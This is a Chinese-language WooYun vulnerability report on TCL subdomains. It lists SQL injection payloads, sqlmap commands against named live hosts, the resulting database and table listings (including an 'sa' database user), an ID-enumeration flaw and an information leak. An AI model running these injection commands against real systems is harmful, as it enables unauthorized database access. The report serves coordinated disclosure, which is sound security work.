当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-047302

漏洞标题:TCL#多个分站漏洞大礼包(SQL注射、信息泄露)

相关厂商:TCL官方网上商城

漏洞作者: Mr.leo

提交时间:2014-08-11 12:57

修复时间:2014-09-25 12:58

公开时间:2014-09-25 12:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-11: 细节已通知厂商并且等待厂商处理中
2014-08-11: 厂商已经确认,细节仅向厂商公开
2014-08-21: 细节向核心白帽子及相关领域专家公开
2014-08-31: 细节向普通白帽子公开
2014-09-10: 细节向实习白帽子公开
2014-09-25: 细节向公众公开

简要描述:

TCL#多个分站漏洞大礼包(SQL注射、信息泄露)

详细说明:

站点:
http://cts.tcl.com 员工绩效管理系统
WooYun: TCL漏洞3之某系统高权限SQL注射可以直接执行系统命令 属于同一站点,原漏洞利用是POST提交方式,不过经过测试,GET方式也存在相应问题,还有就是post方式也没有修复好。
注入点:
sqlmap.py -u "http://cts.tcl.com/AjaxHelper/AjaxHelper.aspx?method=login&PassWord=e&UserName=e" -p "UserName"--dbs --current-user --current-db
直接上sqlmap-log
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: UserName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=login&PassWord=e&UserName=e'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=login&PassWord=e&UserName=e' WAITFOR DELAY '0:0:5'--
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: UserName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=login&PassWord=e&UserName=e'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=login&PassWord=e&UserName=e' WAITFOR DELAY '0:0:5'--
---
current user: 'sa'
current database: 'TCL_CTS'
available databases [20]:
[*] appjob
[*] dbAudit
[*] dbGLS
[*] dbSurvey
[*] dbVQ
[*] EHR4
[*] EHR5
[*] EHR6
[*] HRDB
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] SAP_SAGEM
[*] TCL_CTS
[*] TCL_CTS_TEST
[*] TCL_OQSS
[*] tempCts
[*] tempdb
时间延时注入,比较慢就没有深入了。
站点2:
http://www.tclrf.com 惠州TCL王牌高频电子有限公司
class_1参数没有过滤,导致注射
Sqlmap -u "http://www.tclrf.com/product.php?class_1=5&class_2=5"
--dbs --current-user --current-db

441.png


Database: tclrf
[31 tables]
+---------------+
| hyyy_ad |
| hyyy_dept |
| hyyy_dept_c1 |
| hyyy_dept_c2 |
| hyyy_dept_c3 |
| hyyy_dept_msg |
| hyyy_epe |
| hyyy_epe_c1 |
| hyyy_epe_c2 |
| hyyy_epe_c3 |
| hyyy_feedback |
| hyyy_info |
| hyyy_link |
| hyyy_link_c1 |
| hyyy_log |
| hyyy_master |
| hyyy_msg |
| hyyy_news |
| hyyy_news_c1 |
| hyyy_news_c2 |
| hyyy_pro |
| hyyy_pro_c1 |
| hyyy_pro_c2 |
| hyyy_pro_c3 |
| hyyy_prod |
| hyyy_prod_c1 |
| hyyy_prod_c2 |
| hyyy_prod_c3 |
| hyyy_staff |
| hyyy_staff_c1 |
| hyyy_staff_c2 |
+---------------+
站点3:
http://bbs.tcl.com TCL内部论坛
hotel_id存在遍历漏洞,替换数字可以看见相关信息泄露
http://bbs.tcl.com/tcl_signed_hotel/hoteldetail.aspx?hotel_id=31

709.png


759.png


站点:
tech.tcl.com
由于网站没有设置robots.txt,导致被搜索引擎抓取信息,导致信息泄露

904.png


整站都检查一下吧。就不深入了。
over

漏洞证明:

已经证明

修复方案:

1#过滤get和post方式的注入漏洞
2#屏蔽敏感信息泄露

版权声明:转载请注明来源 Mr.leo@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-08-11 16:21

厂商回复:

感谢您的关注,已转交相关单位处理。

最新状态:

暂无